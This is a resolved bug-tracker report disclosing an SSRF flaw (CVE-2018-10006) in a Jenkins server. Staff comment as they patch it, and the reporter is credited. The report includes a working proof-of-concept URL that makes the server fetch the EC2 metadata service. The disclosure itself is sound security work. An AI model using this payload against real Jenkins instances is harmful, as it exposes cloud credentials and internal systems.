1520872 - SSRF Vulnerability in https://jenkins.mofoprod.net

Status: RESOLVED FIXED

(Websites :: Other, defect)

Description

[Tyler Hawkins]

Attachment: mozssrf.PNG

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0

Steps to reproduce:

I've noticed that one of your CI servers located on the mofoprod.net subdomain:
https://jenkins.mofoprod.net is vulnerable to CVE-2018-10006. You can reproduce the issue by specifying the server you'd like the CI server to reach out to with the SSRF vulnerability. For proof of concept I will use this to query the ec2 instance's metadata @ http://169.254.169.254.

POC:
https://jenkins.mofoprod.net/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://169.254.169.254/latest/meta-data/%23&login=t&password=hawk

Actual results:

The jenkins server sends a POSTrequest to the server specified in the "apiUrl" parameter, then returns the response from the server.

Expected results:

A 404 error that is generated on the updated jenkins instances.

Comment 1

[April King [:April]]

:cade, can you look into getting these instances updated?

Thanks!

Comment 2

[Chris DeCairos (:cade)]

I'll update that instance now.

Comment 3

[Chris DeCairos (:cade)]

The POC should no longer trigger the SSRF vuln.

Comment 4

[April King [:April]]

I've verified and it looks good to me. Thanks, :cade!

Comment 5

[Tyler Hawkins]

I can confirm that the issue is no longer reproducible. Great work!

Comment 6

[April King [:April]]

Tyler, how would you like to be credited in our hall of fame? If you have a place you'd like us to link to, I can do that too.

Thanks!

Comment 7

[Tyler Hawkins]

Yes please, could I have the following details in the credit:

name: Tyler Hawkins
website: https://hawkinsecurity.com

Thank you!